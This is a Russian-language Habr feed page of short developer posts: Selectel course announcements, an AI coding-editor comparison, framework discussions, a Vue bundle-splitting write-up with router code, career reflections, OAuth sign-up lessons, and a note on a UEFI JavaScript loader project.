Осваивайте практические навыки с помощью IT-инфраструктуры Selectel — промокод на бесплатный доступ уже ждет на курсе. После успешного прохождения финального теста пришлем именной сертификат.

Начните обучение прямо сейчас →

Теги:
Всего голосов 4: ↑3 и ↓1+7
Комментарии3

Cursor или Harvi Code: какой ИИ для кодинга в 2026 году реально работает в России без VPN и головной боли с платежами

В 2026 году почти каждый разработчик в России стоит перед одним и тем же выбором: хочешь мощный ИИ, который реально ускоряет разработку, или хочешь, чтобы всё работало просто, без посредников и ежемесячных нервов с оплатой.

Cursor — это сейчас, пожалуй, самый продвинутый AI-редактор на рынке. По сути, это VS Code, в который встроили настоящий искусственный интеллект на стероидах. Composer позволяет одной командой править сразу десяток файлов, агент понимает весь проект, хорошо справляется с рефакторингом, поиском багов и даже архитектурными решениями. Качество кода от Claude Sonnet 4.5 или свежих GPT часто вызывает искреннее «вау».

Но есть большая ложка дёгтя. Cursor — американский продукт, и российские карты он не принимает. Чтобы купить подписку Pro, приходится либо использовать виртуальные карты через крипту, либо платить посредникам (Oplatym и подобные), либо покупать готовые аккаунты (что рискованно). Сам редактор после оплаты работает без VPN, но первоначальная настройка оплаты — это отдельный квест. Бесплатная версия быстро упирается в лимиты, особенно если активно юзаешь мощные модели.

Harvi Code Первый в России AI кодинг-агент. Российский ответ на все эти заморочки. Это полноценный AI-агент прямо внутри VS Code. Пишешь задачу в чате — он генерит код, рефакторит, фиксит баги, работает с контекстом всего проекта. Не тормозит, контекст держит хорошо, интерфейс привычный.

Самое приятное — модели на любой бюджет. Есть топовые (Claude Sonnet 4.5, GPT-5.4 и другие). А главное — очень низкая стоимость токенов. Для каждой модели есть свой коэффициент стоимости. Для большинства повседневных задач их хватает с головой, и можно вообще почти не тратить деньги. Оплата — российскими картами или СБП, без всяких посредников и VPN.

Коротко по делу:

  • Если тебе нужен мощный multi-file agent и ты готов один раз настроить оплату через проверенного посредника — бери Cursor. Он до сих пор в топе по возможностям.

  • Если хочешь работать стабильно, без лишних телодвижений и не думать каждый месяц про «как бы оплатить» — Harvi Code сейчас выглядит гораздо практичнее для российского разработчика.

А вы как сейчас кодите с ИИ? Пробовали оба варианта? Что в итоге оставили в основном редакторе? Пишите в комментариях, интересно почитать реальный опыт.

Теги:
Всего голосов 4: ↑0 и ↓4-4
Комментарии0

Обновления в подборках обучающих материалов и курсов от Selectel

Привет, Хабр! На дворе пятница, а значит, пришло время для нашей нерегулярной рубрики с полезными материалами для новичков. Как всегда, все бесплатно, учитесь и развивайтесь. И вот с чем я сегодня пришел.

  • Начало работы с ML-моделями. Это подборка статей в Академии Selectel. Изучите базу по алгоритмам, научитесь подбирать железо и настраивать инфраструктуру и мое любимое — подборка в подборке — узнаете, что еще полезного по теме можно почитать/посмотреть.

  • Тестирование мобильных приложений. Это уже полноценный курс с теорией, тестами и практическими заданиями. Кстати, практика — это прямо практика. Вы получите возможность бесплатно поработать с реальными устройствами в мобильной ферме Selectel, а не упражняться только в эмуляторах. Буквально на этой неделе мы запустили вторую часть курса, так что если вы уже начали его изучение, самое время продолжить.

  • Первые шаги в JavaScript. Этот курс ориентирован на фронтенд-разработчиков уровня junior, веб-дизайнеров и тех, кто только делает первые шаги в программировании. Кстати, буквально на днях этот курс будет расширен, так что не пропустите. Начать изучение первых уроков можно уже сейчас.

Теги:
Всего голосов 4: ↑4 и ↓0+8
Комментарии0

Всем хабровчанам удачной недели!

Хотел поинтересоваться такой темой как школа «Result/University». Кто обучался, как быстро удалось найти работу? Какова оценка по 5 шкале?

Смогут ли ребята ввести в данную тему с минимальными рисками?

Теги:
Всего голосов 2: ↑0 и ↓2-2
Комментарии21

Solid.js должен был исправить React…но доказал, что React был прав

Все ругали React за массивы зависимостей, странные хуки и непонятные стадии рендеринга. Возникало чувство, что они усложнили фронтенд и добавили в него отложенную реакцию. Команда Solid.js решила это исправить: убрать лишние рендеры и магию по капоту. Идея была проста — использовать реактивность. Solid создавался, чтобы заменить React, но когда они работали над второй версией, тут они уперлись в проблему, которую невозможно решить — ассинхронность.

Представьте: одни данные загрузились, другие ещё нет. Что покажет интерфейс? Фейковый фронтенд, который обманывает пользователя. React решал это с помощью отложенного обновления. Тогда Solid решили встроить ассинхронность прямо в реактивность. Появилось управление загрузкой, ожиданием и обновлениями — реактивность как она есть. Становится понятно, что и та, и та команда приходят к одному выводу с разных сторон, но Solid делает ее частью системы, засовывает ассинхронность прямо в реактивность и внезапно оказывается, что React не был таким уж и плохим дизайном, просто команда React-а пришла к этой проблеме гораздо раньше, чем остальные.

И главный вопрос: что важнее — устоявшийся подход React или более чистая, но сложная реактивность Solid? Или дело вовсе не в фреймворке, а в том, как ты управляешь асинхронностью?

https://dev.to/playfulprogramming/two-react-design-choices-developers-dont-like-but-cant-avoid-d6g

Подписывайтесь: YouTube | VK | Twitter

Теги:
Всего голосов 2: ↑0 и ↓2-2
Комментарии2

Представлен открытый мультиплатформенный проект Snowify. Это аналог Spotify в виде музыкального плеера с кодом на JavaScript без рекламы и без регистрации. Музыка стримится с YouTube Music. Все функции Spotify на месте: списки треков, текст песен, плейлисты с рекомендациями и даже синхронизация с облаком. При этом в интерфейсе нет ничего лишнего, что отвлекало бы от музыки. Проект поддерживает кастомные плагины.

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии2

Расширение AI-Less Habr — Чистим Хабр от ИИ

Надоела лента, забитая ИИ? У меня есть готовое решение для вас. Shut up and take my money:

Интерфейс расширения
Интерфейс расширения

Расширение для Chrome (и совместимых браузеров) позволяет скрывать статьи про «Искусственный интеллект». Скрывается не контент, написанный ИИ (LLM), а контент про ИИ (что сейчас обычно под этим подразумевается). Бесконечные статьи об очередной революции, вызванной тем, что такая‑то LLM модель опередила конкурентов на 0.1 балл в одном из 186 имеющихся бенчмарков, и вот этот вот всё.

Чтобы видеть счетчик скрытых статей, закрепите иконку расширения на панели инструментов через меню расширений (иконка паззла).

Есть следующие возможности:

  • скрывать хаб «Искусственный интеллект»

  • скрывать по словам в заголовке (настраиваемый список)

  • скрывать по тегам (настраиваемый список)

  • инвертированный режим (показать, попадающее под фильтры, и скрыть остальное)

По умолчанию включено только скрытие хаба «Искусственный интеллект». Фильтры по словам/тегам с большей вероятностью допускают ложноположительные срабатывания, поэтому выключены по умолчанию. По этой же причине в фильтрах по словам по умолчанию нет слов «ии»/«ai», так как есть достаточно много статей, содержащих что‑то вроде «без ИИ». Внимательно относитесь к добавлению слов в фильтры, чтобы минимизировать ложноположительные срабатывания.

Теги:
Всего голосов 16: ↑16 и ↓0+22
Комментарии4

Сделал интерактивный квиз!

Ознакомительная статья

экран лобби, стримит хост
экран лобби, стримит хост


Смотрите пробуйте играйте, формируйте своё мнение, и всегда помните — хост — это не игрок, он не может выбирать ответы, но вы можете запустить игру с пк, и зайти с телефона. Или с одного пк на разных браузерах.

Делал долго, мой магнум опус.

Теги:
Всего голосов 4: ↑3 и ↓1+2
Комментарии0

Гибкое управление фокусом элемента

Chrome в 145 версии добавил параметр focusVisible в метод focus:

input.focus({ focusVisible: true });

Как вы уже, наверное, догадываетесь, это позволяет самостоятельно управлять тем, будет ли элемент при ручном вызове фокуса, помимо CSS-псевдокласса :focus, соответствовать ещё и :focus-visible.

Ранее без данного параметра браузер самостоятельно решал этот вопрос.

⚙️ Поддержка браузерами широкая
🔗 Мой телеграм канал

Теги:
Рейтинг0
Комментарии0

Как я оптимизировала фронт на 40% и никто не заметил

Предыстория

Когда я помогала с поиском сотрудника и просматривала резюме на фронтенд разработчика, очень часто встречала фразу - "Оптимизировал(а) размер бандла на 30% / 40% / 50%, что увеличило ..." как под копирку от ИИ, а у меня из достижений в резюме - "делаю задачи и фикшу баги" 

Ну что ж, возьмем свое приложение и оптимизируем его

О приложении

Это небольшое SPA на Vue 3 для администрирования справочников. Ничего особенного, но это приложение экономит время программистам, которые не лезут в БД, и, как мне кажется, полезно для аналитиков и QA - это позволяет лучше понять, как устроена база, и почему иногда что-то не работает как ожидается.

Начнем оптимизацию

Запускаем npx vite-bundle-visualizer и получаем вот такую красивую розовую визуализацию (прикрепила бы скрин, на то что получилось, но в пост можно одну картинку добавить)

Смотрим роутинг у приложения... Все роуты импортируются сразу. Применяем легкий фикс:

  • Оставляем синхронный импорт только для страниц, которые первыми открываются у пользователей

  • Остальные подгружаем отдельно с помощью lazy import

// Было:
import PaymentTypes from '@/views/Directories/PaymentType/PaymentTypes.vue';
import OrderTypes from '@/views/Directories/OrderType/OrderTypes.vue';
import Configurations from '@/views/Directories/Configuration/Configurations.vue';
import NewConfiguration from '@/views/Directories/Configuration/NewConfiguration.vue';
import ConfigurationPage from '@/views/Directories/Configuration/ConfigurationPage.vue';
import Source from '@/views/Directories/Source/Source.vue';
import City from '@/views/Directories/City/City.vue';
import Brand from '@/views/Directories/Brand/Brand.vue';
import CloseReason from '@/views/Directories/CloseReason/CloseReason.vue';
import ChangeReason from '@/views/Directories/ChangeReason/ChangeReason.vue';
import Restaurants from '@/views/Directories/Restaurants/Restaurants.vue';
import RestaurantPage from '@/views/Directories/Restaurants/RestaurantPage.vue';
import NewRestaurant from '@/views/Directories/Restaurants/NewRestaurant.vue';
import Discounts from '@/views/Directories/Discounts/Discounts.vue';
import PriceTypes from '@/views/Directories/PriceType/PriceTypes.vue';
// Стало:
  children: [
            {
                path: 'brand',
                name: 'Бренды',
                component: () =>
                    import('@/views/Directories/Brand/Brand.vue'), // <--тут
                meta: {
                    breadcrumbs: ['Справочники', 'Бренды'],
                    requiresAuth: true,
                    permissions: ['admin.admin'],
                    title: 'Бренды',
                    section: 'directories',
                },
            },
...
]

Запускаем снова и уже получаем уже разбитый бандл. Code Splitting работает, вывод сборки теперь показывает множество маленьких JS-файлов для каждой страницы.

Итоги оптимизации:

Уменьшили основной бандл с 245 kB до 148 kB (gzip) — это минус 39%

Что получили:

  • Оптимизировала размер бандла на 40%

  • Улучшила First Contentful Paint

  • Внедрила code splitting

  • Повысила производительность

  • Уменьшила основной JavaScript-файл почти на 40% (в gzip)

  • Уменьшила сырой размер на 46%

  • Теперь загружается только то, что нужно для текущей страницы

Реальность:

  • ❌ Съэкономил ли бизнес деньги? - Нет

  • Выросла ли конверсия? - Как? 🌝 это внутренний админ-интерфейс

  • Применили ли чудо-технологию? - Нет, добавили lazy import из коробки фреймворка и рекомендацией из документации

  • Кто-то это заметил? - Только я в отчете, "на глаз" даже мне не заметно

  • ❌ Заметил ли пользователь? - Нет, потому что основное время все равно уходит на получение данных с backend

Мысли по этому поводу

И так, мы теперь можем добавить заветную строчку в резюме!

А вы встречаете эту строчку в резюме?

  • Какие чувства она у вас вызывает?

  • Красный флаг ли она для вас?

  • Или наоборот - показатель того, что человек думает о производительности?

Мой канал о поиске работы (ничего не продаю и не рекламирую, только себя)

Теги:
Всего голосов 8: ↑6 и ↓2+5
Комментарии4

Недавно общался с крупной зарубежной продуктовой компанией. Штат 500–1000 человек, вроде зрелые процессы, ЗП у разрабов 5000 баг-репорты по ISO/IEC/IEEE 29119. И при этом:

«Не успеваем уделять время автотестам. Сфокусированы на скорости разработки и релизах.»

Что меня зацепило — каждый их аргумент против тестов я интерпретировал как аргумент за:

— «Слишком частые релизы» → А не потому ли они такие частые, что баги проскакивают на прод?

— «Требования постоянно меняются» → Тем более — как вы контролируете, что старое не ломается?

— «И так работают наизнос если еще и тесты заставить писать — выгорят» → А не от бесконечного ли футбола с багами они выгорают?

А как у вас? Есть автотесты на проекте? Или тоже «не до них»?

Я написал целую статью на эту тему, если все выше вам откликается рекомендую к прочтению: Нет времени на тесты — через неделю релиз

Теги:
Рейтинг0
Комментарии0

Выбор вакансии: как я кинулась во всё — и это не дало результата.

Есть разработчики, у которых развитие идёт линейно и предсказуемо: верстальшик → джун фронтендер → мидл → мидл в сильной компании → сеньор/лид/уход в бэкенд

Красиво. Понятно. Логично.

Но у меня кривая черта развития сначала бэк на Java в закрытом предприятии. Потом фулстек в фудтехе: в основном Vue, но ещё и Go (и все сопутствующее), и CUBA Platform (lowcode на java, он же «Тезис»), и n8n.

Широко. Разнообразно. Интересно.

Как я начала откликаться - на всё, что блестит

И сейчас Когда я вышла на рынок, то сначала я откликалась на все что близко:

  1. Frontend - Vue / React / Angular
    Ну фронт же. Есть мнение, что «не нужно учить конкретный фреймворк — важны принципы».

  2. Go
    а почему бы нет? Знаю , умею , курсы закончены, писала на нем

  3. Fullstack (Go или JDK + фронт)

  4. N8N, автоматизаторы особенно с ИИ
    Интересно. Растущее направление.

  5. Lowcode платформы CUBA, тезис, WebTutor - замаскированный под фронтенд Опыт есть. Почему не использовать?

И это фатал еrror

  1. Ошибка №1. Переключение контекста
    Очень сложно переключать контекст и даже синтаксис языка - на первом собесе по TS я не смогла вспомнить синтаксис (на ум приходил только java, так как он изучался более долго и в закрытой среде, ирония: хоть я на нем и не пишу, но разбуди среди ночи - код напишу)

  2. Ошибка №2. Рынок
    Рассматривать вакансии на Angular, React без опыта в продакшене - на данный момент наивно.

    Рынок перегрет:
    - Vue ~ 1000 откликов за неделю,
    - React - 4000 ,

    Неужели Арина (или тот кто читает эту статью) ты думаешь, что кто-то будет рассматривать ваше резюме со Vue? Каким бы в целом хорошим инженером вы не были. Рынок не покупает «в целом».

  3. Ошибка №3. Fullstack со связкой Go + Vue или JDK + Vue
    Фуллстеки со связкой go или jdk - это бред вакансии, это карьерный тупик.
    - PHP + Vue - норм
    - Node + Vue - норм,
    но Go + Vue - это нонсенс, это только подработка для поддержания штанов. Чаще это небольшие команды, поддержка, нестабильные проекты.

  4. Ошибка №4. n8n — нравится, но это уже не совсем разработка
    Автоматизация, интеграции, AI — это интересно. Но это больше аналитика и orchestration, чем классическая инженерия. Если хочешь быть разработчиком — нужно понимать, куда ты смещаешь фокус.

  5. Ошибка №5. Low-code — карьерный тупик
    Проблем с окружением больше. Кода меньше. Рынок уже. Ты становишься зависимой от конкретной платформы. И выйти обратно в «чистую разработку» становится сложнее.

Мой Hotfix: Фокус

Я поняла, что на падающем рынке выживают либо "универсалы" c ИИ подбоком, либо эксперты

Моя новая стратегия:

  • Vue 3 + TypeScript + Nuxt (как зона роста)

  • n8n — как подработку и интересный дополнительный навык.

Иногда рост — это не добавить ещё стек. А убрать лишнее.

Теги:
Всего голосов 5: ↑3 и ↓2+2
Комментарии5

OAuth на практике: что оказалось удобным, а что отпугнуло пользователей

Мы запустили молодую платформу с двумя типами аккаунтов: обычные пользователи и разработчики (публикуют PWA и управляют приложениями).

Бренда и доверия пока нет, поэтому вопрос авторизации быстро стал не техническим, а психологическим.

С чего начали

Для обычных пользователей:
• Email / пароль
• Google
• GitHub

Для разработчиков — жёстче:
• Обязательная привязка Google
• Обязательная привязка GitHub

Логика казалась разумной:
«Разработчик = есть GitHub»
«Двойная верификация = меньше спама»

На практике это не сработало.

Первые тревожные сигналы

Регистрация разработчиков шла крайне медленно, несмотря на интерес к публикации приложений.

Сначала списывали на:
• новый продукт
• низкое доверие
• отсутствие аудитории

Но после общения с разработчиками (в том числе через Habr) картина прояснилась.

Что отпугивало разработчиков

  1. Новый сервис → нежелание делиться данными

Даже если это «просто email», психологический барьер остаётся.

Когда с первого шага нужно:
• линковать внешние аккаунты
• проходить несколько этапов подтверждения
• подключать сторонние сервисы

это воспринимается как лишний фрикцион.

Особенно для соло-разработчиков и небольших команд.

  1. Git ≠ GitHub

Ключевой инсайт.

Мы обнаружили, что:
• не все хотят логиниться через GitHub
• часть использует GitLab или Bitbucket
• некоторые принципиально не хотят связывать GitHub с новым сервисом

Обязательная привязка GitHub стала серьёзным барьером.

А мнение стандартных пользователей разделилось:

Часть говорила:

«Чем больше OAuth-кнопок, тем солиднее выглядит платформа».

Логика простая:
• если есть Google / Facebook / Discord — значит не ноунейм
• интеграции с крупными сервисами повышают доверие

Это не про безопасность — это про ощущение легитимности.

Другие говорили ровно противоположное:

«Слишком много кнопок — ощущение перегруженности».

И это тоже справедливый аргумент.

Что мы изменили

  1. Упростили форму для пользователей

Оставили:
• Google
• Facebook
• Discord

Достаточно выбора для доверия, без визуального шума.

  1. Git-провайдеры вынесли в отдельную группу

Под отдельной кнопкой:
• GitHub
• GitLab
• Bitbucket

Для разработчиков это стало понятнее и логичнее.

  1. Убрали обязательный GitHub

Теперь для developer-аккаунта нужно подключить любой Git-аккаунт, если ни один не подключён.

Без принудительного GitHub.

Первые цифры (осторожно)

Прошла всего неделя, выборка маленькая, платформа всё ещё молодая.

Тем не менее:
• Зарегистрированные пользователи: +13%
(было 0–6% в неделю)
• Зарегистрированные разработчики: +16%
(было 0–3%)

Похоже, это те разработчики, которые знали о платформе, но их останавливало требование GitHub.

Выводы (пока не финальные)
• OAuth — это не только безопасность, но и психология доверия
• Жёсткие требования на старте почти всегда бьют по росту
• Git ≠ GitHub — и это важно
• Много провайдеров могут как повышать доверие, так и перегружать UI

Для молодой платформы даже такие ранние сигналы уже показательны.

Интересно услышать опыт коллег:
добавляли ли вы OAuth-провайдеров после запуска?
были ли случаи, когда обязательная авторизация через конкретный сервис тормозила рост?

Теги:
Всего голосов 4: ↑3 и ↓1+2
Комментарии2

Греческие мифы рассказывают про титана Прометея, который украл у богов огонь и поделился им с людьми. Персонажа за это приковали к скале не просто в наказание, но и в назидание остальным: знание не даётся бесплатно, за него нужно платить.

Если судить по названию, автор проекта Promethee кары богов нисколько не боится. Некто SMNX взял самый сакральный слой современного компьютера — прошивку UEFI — и добавил туда JavaScript. Как гласит readme.md, на старте загрузки Promethee подхватывает script.js с загрузочного тома и исполняет его, то есть этот скрипт и будет загрузчиком.

Понятно, что на боевую машину это ставить смысла нет, это просто эксперимент. Лабораторный характер подчёркивается сборкой и запуском в QEMU. Проект реализован автономно (freestanding), с минимальными заглушками libc. В качестве движка используется Duktape — встраиваемый JS-движок, рассчитанный на портируемость и компактность.

Для SMNX это уже не первый подобный забавный самопис. На своём сайте автор представляется как Клем и прямо говорит, что любит строить «операционные системы, компиляторы, инструменты и веб-движки». Там же перечислены другие поделки: модульная хобби-операционка SkiftOS, HTML/CSS-движок Vaev, экспериментальные инструменты для генерации документов, а также операционная система с эстетикой брутализма и идеалами UNIX семидесятых BRUTAL.

JavaScript исторически задумывался как язык, который оживляет веб-страницы и делает их интерактивными. Сегодня же он расползся по всем слоям стека, от микроконтроллеров до ультра-лёгких движков для Интернета вещей. В том числе бывают попытки писать на JavaScript то, что не следует, хоть операционные системы. Самый цитируемый пример — это NodeOS, дистрибутив Linux, где вместо привычного пользовательского мира предлагается использовать Node.js и npm как основной пакетный менеджер, и многие утилиты предполагается брать из npm-экосистемы. Другой полюс — runtime.js, библиотечная операционка, где JavaScript-рантайм на базе V8 и минимальная операционка собираются в лёгкий неизменяемый образ виртуальной машины для запуска на KVM, то есть ОС здесь становится упаковкой для единственного приложения на JS.

Promethee — не первый проект, где соседствуют JavaScript и UEFI. Беглый поиск обнаруживает порт Duktape под UEFI-приложения.

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии2

Открытый учебный проект JavaScript Mastery — Complete Learning Path — это курс для изучения языка программирования JavaScript. Энтузиасты собрали более 500 учебных материалов — репозиторий заменяет буквально 4 года учёбы в университете. Есть вся база от определения переменных до ООП, замыканий и других сложных, но функциональных концепций. Сотни упражнений для повторения материалов и закрепления знаний. Примеры кода, визуализация всех концепций, каждый учебный пример авторы разжёвывают до последней строчки. В конце есть идеи пет‑проектов, чтобы закрепить знания. В проекте есть гайд для подготовки к собеседованиям со всеми актуальными вопросами.

Теги:
Рейтинг0
Комментарии1

Selectel открыл первую часть курса по JavaScript

Привет, Хабр! Новичкам бывает трудно сделать первый шаг в программировании. В интернете много сомнительных курсов, а качественные требуют финансовых вложений и несколько месяцев на изучение.

Мы в Selectel подготовили бесплатный курс, который поможет быстро и без лишних затрат изучить основы JavaScript. В первую часть входят три модуля. Вы узнаете: 

  • для чего разработчики используют JavaScript,

  • как работать с со скриптами, веб-страницами и переменными,

  • как создать рабочее окружение на IT-инфраструктуре Selectel.

Участники курса смогут бесплатно протестировать сервисы Selectel, а по итогам тестирования — получить сертификат о прохождении. 

Начните изучение курса прямо сейчас → 

Теги:
Всего голосов 4: ↑4 и ↓0+6
Комментарии0

Макротасок не существует.

Один из самых частых вопросов на собеседованиях для frontend разработчиков: Расскажите про событийный цикл? как выполняются таски? что такое микротаски и макротаски?

В архитектуре event loop вообще нет такого слова как макротаски(macrotasks). Я вообще не смог найти ни одной спецификации, где было бы написано слово macrotask. Кроме Promises/A+. Так в чем же разница между Promise и setTimeout? Почему Promise всегда(не всегда) будут исполняться в приоритете?

Браузер имеет несколько очередей задач (task queues) для разных типов тасок. Таска - это любой javascript код, запланированный стандартными механизмами, такие как запуск программы, запуск события или коллбэки. Помимо этого вы можете создать таску с помощью API, например WindowTimers(setTimeout, setInterval). Микротаски же в свою очередь такие же конструкции javascript, которые позволяют выполнять операции не дожидаясь запуска нового цикла event loop (process.nextTick, Promises, queueMicrotask). Так вот, так как setTimeout, setInterval относятся к браузерному API, то очередь микротасок, таких как Promise и т.д. всегда будет в приоритете выполнения, перед браузерным API.

При этом стоит учитывать, что браузерные API исполняют таски в разные очереди и по разному, например MutationObserver среагировавший после того, как в очередь микротасок попал успешный промис от функции fetch, будет выполнен раньше. То есть вставка в очередь тасок может быть не только как push. Таким образом то, что называют макротасками - это таски браузерного API, которые выполняются по одной на цикл движка браузера.

Полезные материалы

  1. W3 (https://www.w3.org/TR/2011/WD-html5-20110525/webappapis.html#task-queue)

  2. MDN Event Loop (https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)

  3. Tasks, microtasks, queues and schedules (https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules)

  4. Филипп Робертс: Что за чертовщина такая event loop? | JSConf EU 2014 (https://www.youtube.com/watch?v=8aGhZQkoFbQ)

  5. Джейк Арчибальд. В цикле - JSConf.Asia (https://www.youtube.com/watch?v=cCOL7MC4Pl0)

Теги:
Всего голосов 5: ↑3 и ↓2+2
Комментарии0
1
23 ...